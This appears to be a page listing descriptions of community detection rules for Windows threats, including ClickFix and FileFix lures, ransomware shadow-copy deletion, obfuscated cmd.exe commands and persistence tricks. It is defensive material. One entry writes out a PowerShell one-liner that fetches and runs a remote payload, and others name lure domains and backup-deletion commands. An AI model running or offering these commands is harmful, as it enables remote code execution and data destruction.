Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
601 detections
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Detects the use of pcalua.exe to launch executables or scripts located in potentially transient or user-writable directories such as Temp, Downloads, or AppData. This behavior is indicative of an adversary attempting to execute payloads while bypassing security controls or masquerading as legitimate system processes.
Detects the use of native Windows administration utilities (vssadmin, wbadmin, bcdedit, wmic) to delete volume shadow copies, backup catalogs, or disable system recovery configurations. The rule specifically monitors for patterns where these commands are executed across multiple hosts or in rapid succession by the same account, behavior frequently observed during the precursor stages of ransomware deployment, such as the ShinyHunters ShinySp1d3r campaign.
Detects persistence mechanisms associated with 'ComponentTask33Agent' which involves either creating a scheduled task or modifying Windows Registry Run keys, alongside potential VBScript-based agent execution via wscript.exe.
Detects anomalous child process spawning from common web browsers or productivity applications (e.g., Office, Acrobat) on hosts that have recently communicated with known LLM or code-generation APIs. This behavioral correlation is intended to identify the potential execution of AI-generated exploit code.
Detects execution of cmd.exe with suspicious command-line patterns utilizing environment variable substring expansion (%VAR:~offset,length%). This technique is used to dynamically reconstruct and execute obfuscated commands, a method historically observed in APT37 delivery chains to hide malicious payloads and bypass simple string-based signatures.
This rule detects malicious .lnk files typically delivered as email attachments (spearphishing). It identifies shortcuts that execute cmd.exe with the /k switch, combined with environment variable substring expansion techniques designed to obfuscate multi-stage command execution chains.
Detects the use of Windows command shell variable substring expansion to obfuscate commands. Adversaries use this technique to build malicious command lines dynamically, making them less visible to standard keyword-based detection mechanisms by storing parts of strings in environment variables and reassembling them using substring notation (e.g., %var:~start,length%).
This rule detects the deployment of suspicious executables or scripts (e.g., .exe, .bat, .ps1, .vbs) via Group Policy (GPO) paths or through GPO-related processes like gpscript.exe and gpupdate.exe. This activity is consistent with using GPOs to distribute and execute malicious binaries across a domain, often a precursor to ransomware deployment.
Detects the creation or execution of a scheduled task named 'CreateObjectTask' via schtasks or PowerShell, which is associated with spawning 'dllhost.exe' as a child process under high-privileged parent processes (svchost, taskeng, or schtasks). This behavior is indicative of potential COM hijacking or privilege escalation techniques leveraging system tasks.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects the execution of various system binaries (e.g., rundll32.exe, powershell.exe, regsvr32.exe) launched from a Temp directory where the parent or actor process is identified as rnpkeys.exe or rnp.dll. This behavior is indicative of potential malicious activity where legitimate tools or utilities (GnuPG/RNP) are being abused to proxy the execution of secondary payloads or scripts.
Detects a dual persistence mechanism where an adversary establishes both an identically-named Registry Run key and a Scheduled Task, both masquerading as legitimate Canon or Stardock configuration software. These artifacts are configured to launch side-loaded host binaries (COTFileReadApp.exe or DeElevate64.exe) to maintain persistence on a Windows host.
This rule detects instances where PowerShell is executed by a Windows Script Host process (wscript.exe or cscript.exe) using common suspicious command-line arguments. This pattern is frequently used by adversaries to execute obfuscated or bypassed PowerShell scripts while attempting to hide or proxy the execution through legitimate scripting host processes.
Detects VBScript files that exhibit characteristics of a downloader or dropper, including common Windows API usage (WScript.Shell, Shell.Application, MSXML2.XMLHTTP, ADODB.Stream), staging in the C:\Users\Public\ directory, and performing sandbox evasion via WMI InstallDate checks.
This rule detects the execution of LNK or HTA files from a WebDAV share (DavWWWRoot) using common Windows binaries like mshta.exe, wscript.exe, cscript.exe, or explorer.exe. This pattern is commonly associated with the 'ClickFix' technique, where users are lured into opening malicious files hosted on remote WebDAV shares to achieve code execution.
FileFix's core mechanism abuses the HTML input type=file element; clicking a lure button launches explorer.exe from the browser while JavaScript copies a disguised PowerShell command to the clipboard.
FileFix's core mechanism abuses the HTML input type=file element; clicking a lure button launches explorer.exe from the browser while JavaScript copies a disguised PowerShell command to the clipboard.
Detects the creation of registry keys associated with the installation of Chrome or Edge browser extensions, specifically targeting the behavior exhibited by the CrashFix malware which masquerades as an ad blocker to achieve persistence.
Detects the use of the WinGet 'configure' command to process PowerShell DSC configuration files. This method can be abused to execute arbitrary PowerShell code within a Script resource without explicitly invoking powershell.exe, potentially bypassing certain monitoring or security controls focused solely on the PowerShell executable.
Detects the use of Windows command shell variable substring expansion to obfuscate commands. Adversaries use this technique to build malicious command lines dynamically, making them less visible to standard keyword-based detection mechanisms by storing parts of strings in environment variables and reassembling them using substring notation (e.g., %var:~start,length%).
Detects the creation of a 'SystemIn.lnk' persistence shortcut on Windows systems using PowerShell and the WScript.Shell COM object. This activity is associated with the QUICAgent backdoor, part of the QUICSILVER operation, which uses temporary PowerShell scripts to establish persistence.
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